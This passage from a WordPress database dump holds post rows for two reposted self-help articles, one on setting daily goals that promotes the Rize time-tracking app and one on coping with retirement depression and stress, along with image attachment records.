it pays exponential rewards and helps you accomplish more than you may think is possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take your daily goal-setting up a notch by tracking your productivity level and focus while working on different tasks. Rize, a smart and automatic time-tracking app, helps you understand how you spend each workday, what tasks take most of your time, when your focus falters, and when you need a break.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All this data comes in handy if you want to plan effective daily goals, manage your energy better, and maintain consistency toward achieving the things that matter to you. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://rize.io/blog/daily-goals\">click here.</a></p>\n<!-- /wp:paragraph -->','5 Practical Tips to Set Effective Daily Goals','','publish','closed','closed','','5-practical-tips-to-set-effective-daily-goals','','','2024-04-29 04:51:03','2024-04-29 04:51:03','',0,'https://smartinsurance.tips/?p=3972',0,'post','',0),(3973,1,'2024-04-29 04:49:44','2024-04-29 04:49:44','','Untitled-17','','inherit','closed','closed','','untitled-17-5','','','2024-04-29 04:49:44','2024-04-29 04:49:44','',3972,'http://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-17.png',0,'attachment','image/png',0),(3974,1,'2024-04-29 04:51:00','2024-04-29 04:51:00','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3973,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-3973\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If you want to achieve success and sustain personal development, structuring how you work is a must. Setting daily goals makes it more likely that you achieve your long-term goals. Without these mini-goals driving how you spend your days, you may find yourself distracted and wasting time on low-value work, social media, and other people\'s priorities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daily goals force you to invest in productivity and time management techniques that help you make the most of your time and accrue consistent, incremental progress toward specific goals. In this article, we\'ll share benefits, examples, and tips to help you set daily goals and make self-improvement a habit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Benefits of Daily Goal-Setting</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Setting achievable daily goals increases your personal productivity and enhances your work performance. It also helps with:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Building consistency:&nbsp;</strong>Setting daily goals is an excellent way to break bad habits and develop good ones. You don\'t need to be 100% perfect at completing every task, but if you accomplish even a portion of what you set out to do, you make progress every day.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Increasing awareness:</strong>&nbsp;Daily goals bring a kind of \"present\" awareness into how you spend time. Days don\'t pass by in a haze without you being able to remember what you did. When you have daily goals, you are more aware of what has been done and what you still need to do.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Improving wellbeing:</strong> As you achieve small goals, you gain confidence to complete your larger goals. Being consistent with daily tasks also creates feelings of self-efficacy. This can positively impact motivation to work, so you can accomplish more while maintaining work-life balance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Overcoming procrastination: </strong>With an action plan for each day, you\'re more likely to overcome procrastination and get meaningful work done. A daily schedule helps with prioritizing work that matters and declutters your mind, reducing mental fatigue.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>5 Ways to Set Yourself up for Success With Daily Goals</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to writer Annie Dillard, a schedule is a “net for catching days.” Daily goals help structure a daily routine and set you up for success. Practice the five habits below to begin setting and meeting practical daily goals that bring you closer to your ideal life and career.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>1. Break Down Big Goals</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Daily goals should be created from your bigger goals. Before getting granular with planning daily tasks, first create an outline for the year, month, or week. This would be your yearly, monthly, or weekly work plan. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, go ahead and structure these big goals and plans into daily to-dos you can manage in synchrony with your other work and home responsibilities. You may choose to do this in one weekly planning session or at the end of each day in preparation for the next day.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weigh important tasks against urgent responsibilities, and balance each day with both long-term and short-term goals.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let\'s look at an example of what this might look like:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Say one of your career goals is to make a lateral move within your organization. How can you ensure you\'re making progress toward this on a daily basis? You have to take care of your current work duties while making time to learn new skills and reposition yourself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To achieve this in the timeline you\'ve set, you must break the big goal into smaller goals you can tackle in bits. Your mini-goals for this project may include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Identifying essential requirements for the new role</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Speaking to your manager or HR about your plans</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Investing in learning and professional development to prepare you for the new role</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Seeking a mentor or sponsor at your company</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Once your mini-goals are laid out, divide them into daily tasks to maintain progress and accountability. Every single day, you must cross off your planned task for that day to get closer to achieving your goal and attaining your new role.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>2. Set SMART Daily Goals</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Setting goals you can\'t manage is a sure path to burnout, demotivation, and frustration. It\'s wise instead to set SMART goals, which are specific, measurable, attainable, relevant, and time-bound. SMART goals keep you within your capacity while still making progress. You can develop the habit of setting SMART goals following the framework below:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Specific:</strong>&nbsp;Your goals should target a specific area of improvement or tackle a specific need.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Measurable:&nbsp;</strong>Your goals should be quantifiable or allow for measurable progress.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Attainable:</strong>&nbsp;Your goals should be realistic and attainable. Think about the resources you have available and any existing constraints.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Relevant:</strong>&nbsp;Your daily goals should align with your other responsibilities, deadlines, and milestones.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Time-bound:</strong>&nbsp;Your goals should have a defined end to let you know when it\'s complete.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>3. Create and Follow a Productivity System That Works for You</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It\'s one thing to plan your goals and tasks and another thing to make yourself follow through and complete them. Most people procrastinate even when their schedules are overflowing with work and personal goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Productivity systems help create a process for handling your tasks. When you set up a productivity system, you no longer have to rely on willpower alone but instead know what to do at different times. Productivity systems help you achieve your daily goals and reduce friction when switching between tasks, conserving mental energy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>4. Complete Your Most Important Tasks Early in the Day</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The first hours of each day are critical. What you do during this time can affect your energy and motivation for the rest of the day. Focusing on your most important tasks early in the day frees you to do other things later. It also declutters your mind, making you less anxious and more productive overall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This tactic may be the domino effect you need to bulldoze through all your tasks in a day, or it may simply be a way to ensure you do the things that matter most to you before time gets away. Prioritizing and completing your important tasks early helps overcome procrastination and can put you ahead of the curve when it comes to achieving big goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>5. Manage Your Energy Throughout the Day</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>All your good habits and time management strategies are useless if you’re unable to manage your mind and energy during the day. Low mental and physical energy leads to a lack of focus and decreasing work performance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Everyone\'s energy fluctuates throughout the day. So, it\'s crucial that you study your habits and moods to understand yours. For early birds, their energy peaks in the morning and dips in the afternoon, often leading to an afternoon slump. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Monitor your energy to understand how your body works best and plan your daily goals in order of priority around your peak productivity hours. You can use quantified self-knowledge to plan your daily schedule optimally. Tackle important work when you have the most energy and low-value tasks during low-peak hours.  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Track Daily Goals and Tasks With Rize</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Achieving your life\'s goals requires an intentional approach to how you spend your time. Setting and working with daily goals doesn\'t come easy to everyone, but if you spend the time to build a productivity system that works for you, it pays exponential rewards and helps you accomplish more than you may think is possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take your daily goal-setting up a notch by tracking your productivity level and focus while working on different tasks. Rize, a smart and automatic time-tracking app, helps you understand how you spend each workday, what tasks take most of your time, when your focus falters, and when you need a break.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All this data comes in handy if you want to plan effective daily goals, manage your energy better, and maintain consistency toward achieving the things that matter to you. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://rize.io/blog/daily-goals\">click here.</a></p>\n<!-- /wp:paragraph -->','5 Practical Tips to Set Effective Daily Goals','','inherit','closed','closed','','3972-revision-v1','','','2024-04-29 04:51:00','2024-04-29 04:51:00','',3972,'https://smartinsurance.tips/?p=3974',0,'revision','',0),(3975,1,'2024-04-29 04:56:43','2024-04-29 04:56:43','<!-- wp:paragraph -->\n<p>While retiring can be a reward for years of hard work, it can also trigger stress, anxiety, and depression. These tips can help you cope with retirement depression and find new purpose in life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3976,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-18-1024x1024.png\" alt=\"\" class=\"wp-image-3976\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"why-stressful\">What is retirement depression and stress?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Many of us spend years picturing our ideal retirement—whether it’s traveling the world, spending more time with family and friends, pursuing hobbies such as painting, gardening, cooking, playing golf, or fishing, or simply enjoying the freedom to relax and take it easy for a change. But while we tend to give lots of thought to planning for the financial aspects of retirement, we often overlook the psychological impact of retiring from work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Initially, escaping the daily grind and a long commute, workplace politics, or a difficult boss, for example, can seem like a great relief. However, many new retirees find that after a few months the novelty of being on “permanent vacation” starts to wear off. You may miss the sense of identity, meaning, and purpose that came with your job, the structure it gave your days, or the social aspect of having co-workers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of feeling free, relaxed, and fulfilled, you feel depressed, aimless, and isolated. You may grieve the loss of your old life, feel stressed about how you’re going to fill your days, or worried about the toll that being at home all day is taking on your relationship with your spouse or partner. Some new retirees even experience mental health issues such as clinical depression or anxiety.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The truth is that no matter how much you’ve been looking forward to it, retiring from work is a major life change that can bring stress and depression as well as benefits. In fact, some studies have linked retirement to a decline in health. One ongoing study found that retired people, especially those in the first year of retirement, are about 40 percent more likely to experience a heart attack or stroke than those who keep working.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While some difficulties adjusting to retirement can be linked to how much you enjoyed your job (it’s less of a wrench to give up a job you hated), there are steps you can take to cope with the stress, depression, and other common challenges of retirement. Whether you’re already retired and struggling with the change, planning to make the transition soon, or facing a forced or early retirement, there are healthy ways to adjust to this new chapter in your life and ensure your retirement is both happy and rewarding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"challenges\">The challenges of retirement</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Whatever your circumstances, ending your working life changes things—some for the better, others in unexpected or even difficult ways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your job was physically draining, unfulfilling, or left you feeling burned out, for example, retiring can feel like a great burden has been lifted. But if you enjoyed your work, found it gratifying, and built your social life around your career, retirement can present sterner challenges. Things can be especially tough if you made sacrifices in your personal or family life for the sake of your job, were forced to retire before you felt ready, or have health issues that limit what you’re now able to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Similarly, your outlook on life can also influence how well you handle the transition from work to retirement. If you tend to have a positive, optimistic viewpoint, you’ll likely handle the change better than if you’re prone to worrying or struggle to cope with uncertainty in life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"embrace-change\">Adjusting to retirement tip 1: Embrace change</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although it’s an inevitable part of life, coping with change is rarely easy. As we grow older, life can seem to change at an ever-quickening rate. Kids leave home, you lose friends and loved ones, physical and health challenges mount, and retirement looms. It’s normal to respond to these changes with an array of mixed, often conflicting emotions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But just as you transitioned from childhood into adulthood, you can make the transition from work to retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Adjust your attitude</strong>. Think of retirement as a journey rather than a destination. Allow yourself time to figure everything out—you can always change direction if necessary. You can also adjust your attitude by focusing on what you’re gaining, rather than the things you’re losing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Build resilience</strong>. The more resilient you are, the better you’re able to cope with challenges like retirement. You can improve the qualities of resiliency at any age to help you keep a healthy perspective when life is at its toughest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Acknowledge your emotions</strong>. There’s no “right” or “wrong” way to respond when dealing with a major life change, so don’t try to bully yourself into feeling a certain way about retirement. Whether you feel angry, sad, anxious, grief-stricken, or a mix of emotions, by acknowledging and accepting what you’re feeling, you’ll find that even the most intense or unpleasant emotions will soon pass. Talk to a close friend about what you’re going through, record your feelings in a journal, or use HelpGuide’s Emotional Intelligence Toolkit to better cope with your emotions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Accept the things that you can’t change</strong>. Railing against events that you have no control over can be as exhausting as it is futile. Whatever the circumstances of your retirement, by accepting them you can refocus your energy to the things that you do have control over, such as the way you choose to react to obstacles. Look back at examples where you’ve coped with changes in the past to remind yourself that you’ll be able to manage this change as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Redefine your identity</strong>. Many of us define ourselves by what we do for a living. After retirement, you can find new ways of defining yourself through non-work-related activities and relationships. Where you were once an accountant, for example, you’re now a mentor, volunteer, grandparent, student, memoirist, or artist.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Set new goals</strong>. You may have already achieved many of your professional goals in life, but it’s important to keep setting yourself new ones to strive towards. Having goals can energize you, provide a sense of purpose, and help to redefine your identity. Set goals that challenge and excite you and keep you moving forward in life. Many retirees find that now they’re no longer the family provider, they can focus more on their own hopes and dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Seek social support</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You don’t have to face the challenges of retirement alone. Many other people are going through the same difficulties. Reaching out and sharing the burden can help ease your stress and bolster your coping skills.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Strengthen your social network</strong>. Staying socially connected can have a huge impact on your mental health and happiness. But for many of us, our social ties are closely linked to our jobs—and they’re abruptly cut short when we retire. Make a point to stay in touch with old work colleagues after retirement and explore opportunities to broaden your social network beyond work. You’re never too old to build new, rewarding friendships.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Enroll in a retirement transition program</strong>. Some larger corporations offer retirement planning assistance or transition workshops. You may also be able to find similar programs at local community centers. As well as providing practical help on adjusting to retirement, they can also enable you to meet other recent retirees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Join a peer support group</strong>. Some senior service and other community organizations offer support groups for older adults making the transition into retirement. Talking to other people who understand what you’re going through can help reduce feelings of stress, anxiety, and isolation. Search for retirement groups in your area or on platforms such as meetup.com.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"new-purpose\">Tip 2: Find new purpose and meaning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For many of us, working is about more than just earning money; it also adds meaning and purpose to our lives. Your job can make you feel needed, productive, and useful, provide goals, or simply give you a reason to get out of the house every day. Having purpose in life also fulfills some biological needs, helping to keep your brain and immune system healthy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After retirement, it’s important to look for new sources of meaning—activities that add joy and enrich your life. In this respect, it can help if you’re not just retiring from something, but to something as well—whether that’s a fulfilling hobby, a volunteer position, or continuing education, for example.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Retirement may not have to be all-or-nothing</strong>. Many people find that it can help to gradually transition into full-time retirement rather than jump right in. If your job allows, you could take a sabbatical or extended vacation to recharge your batteries and see how you deal with the slower pace of life. You can also use the time to gauge how well you can live on the budget you’ve allocated for retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Find part-time work after retirement</strong>. Another way to make retirement more of a gradual transition is to incrementally reduce the hours you work in your existing job, switch to a part-time job, or work for yourself in some capacity. As well as providing purpose, part-time employment can also supplement your income, keep you socially engaged, and ease the adjustment to retirement without you having to endure the demands of full-time work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Volunteer</strong>. Donating your time and effort to a cause that’s important to you can add meaning and a sense of accomplishment to your retirement life, as well as benefit your community. Volunteering can help expand your social network, boost your self-worth, and improve your health. It can also be a great opportunity to pass on some of the skills you’ve learned during your professional life—or learn new skills, keeping your brain active as you age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nurture hobbies and interests</strong>. If you have a longstanding hobby that enriches your life, you’ve likely earmarked retirement as an opportunity to invest more of your time to pursuing it. If you’ve had to sacrifice your hobbies for the sake of your career, though, it’s time to resurrect old interests or nurture new ones, things you’ve always wanted to try. Whether your interests lay in traveling, nature, sports, or the arts, for example, try enrolling in a club, joining a team, or taking a class.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Learn something new</strong>. Whether you want to learn to play a musical instrument, speak a second language, or complete a degree or high school diploma, adult education classes are a great way to expand your mind, develop new interests, and set fresh goals for yourself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Get a pet</strong>. If you’re an animal lover, caring for a pet can help you maintain a sense of usefulness and purpose in life. Pets—especially dogs and cats—also provide companionship as you age, can help boost your mood, ease stress, depression, and anxiety, and improve your heart health.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"manage-stress\">Tip 3: Manage retirement depression, stress, and anxiety</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>After retirement, the commute, the deadlines, the demanding boss, and the nine-to-five monotony may be over, but that doesn’t mean your life will automatically be stress- and anxiety-free. While workplace stress can take a serious toll on your health, especially if you lack job satisfaction, damaging stressors can also follow you into retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may worry about managing financially on a fixed income, coping with declining health, or adapting to a different relationship with your spouse now that you’re at home all day. The loss of identity, routine, and goals can impact your sense of self-worth, leave you feeling rudderless, or even lead to depression.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whatever challenges you’re facing, though, there are healthy ways to ease stress and anxiety, better cope with change, and improve your mood, outlook, and overall well-being.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Adopt a relaxation practice</strong>. Regularly practicing a relaxation technique such as meditation, progressive muscle relaxation, deep breathing, yoga, or tai chi can help ease anxiety and stress, lower your blood pressure, and improve your overall sense of well-being.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Get active</strong>. Physical exercise is a very effective way to boost your mood, relieve tension and stress, and help you feel more relaxed and positive as you get older. No matter your age or limitations in mobility, there are still ways for you to reap the benefits of regular exercise. Aim for 30 minutes of activity on most days.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Practice gratitude</strong>. It can sound simplistic when you’re in the midst of a major life change, but noting the things you’re grateful for is a quick and easy way to improve your mood and outlook. Take a moment to appreciate the small things in life, whether it’s a phone call from a friend, a moving piece of music, or the feeling of the sun on your face, for example.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Spend time in nature</strong>. Spending time in green spaces can relieve stress, put a smile on your face, and deepen your sense of well-being. Try hiking, fishing, camping, or walking in a park, along a beach, or through woods.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Break the worry habit</strong>. Chronic worrying is a mental habit that you can learn how to break. By challenging your anxious thoughts and learning to accept uncertainty in life, you can calm your anxious mind, look at life in a more balanced way, and reduce the time you spend worrying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">But don’t take it too easy…</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Having stress and challenges isn’t all bad for you. At manageable levels, stress can help you build resilience, solve problems, and stay focused, energetic, and engaged. Taking it too easy—spending your days napping, sitting on the couch, dozing in the sun, or watching TV, for example—won’t help keep your brain active and alert.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, a total lack of challenges may even harm your health and lead to cognitive decline and memory problems. The key is to keep challenging your brain without letting stress build up to where it becomes overwhelming and you constantly feel frazzled or anxious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"health\">Tip 4: Look after your health</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Dealing with a major life change like retirement can take a toll on your physical and mental health, weakening your immune system and negatively impacting your mood. In addition to managing stress, finding new purpose, and staying socially and physically active, there are plenty of other ways to keep your body and mind healthy at this time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Get enough quality sleep</strong>. It’s normal to experience changes in your sleeping patterns as you age, such as going to bed and waking up earlier. However, it’s not normal to feel tired during the day or frequently wake up feeling unrefreshed. A lack of sleep can exacerbate stress and anxiety so it’s important to address any sleep issues to ensure you’re getting enough good quality sleep at night.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eat a healthy diet</strong>. As well as keeping your body healthy, eating a balanced, nutritious diet as you age can also help you maintain a positive outlook. Instead of being too restrictive, though, focus on eating fresh, tasty food in the company of others. Your mind and body will thank you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Watch how much you drink</strong>. When you have time on your hands, it’s easy to slip in to the habit of drinking too much or self-medicating your moods with alcohol or other substances. But leaning on alcohol or drugs for short-term relief will only exacerbate your problems in the long-run.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Keep challenging your brain</strong>. Whether it’s finding stimulating ways to spend your days, learning a new skill, or playing new games, puzzles, or sports, it’s important to keep challenging your brain after you’ve retired. The more active you keep your brain, the better you’ll protect yourself from cognitive decline or memory problems. Try new variations of activities you enjoy or improve how well you do these activities. If you enjoy playing golf, for example, challenge yourself to lower your handicap. If you like to cook, experiment with new recipes and ingredients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Add structure to your days</strong>. There’s comfort in routine. While you may not miss your morning commute, you may miss the daily routine of eating lunch at a certain time or chatting with colleagues during a coffee break. Even if you’re still figuring out what you want to do with your retirement, try to establish a loose daily schedule. Go to bed and get up at the same time every day, allow yourself to linger over breakfast or to read the newspaper, for example, but schedule times for exercising and socializing with friends.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.helpguide.org/articles/aging-issues/adjusting-to-retirement.htm\">click here.</a></p>\n<!-- /wp:paragraph -->','Adjusting to Retirement: Handling Depression, Stress, and Anxiety','','publish','closed','closed','','adjusting-to-retirement-handling-depression-stress-and-anxiety','','','2024-04-29 04:56:46','2024-04-29 04:56:46','',0,'https://smartinsurance.tips/?p=3975',0,'post','',0),(3976,1,'2024-04-29 04:52:44','2024-04-29 04:52:44','','Untitled-18','','inherit','closed','closed','','untitled-18-4','','','2024-04-29 04:52:44','2024-04-29 04:52:44','',3975,'http://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-18.png',0,'attachment','image/png',0),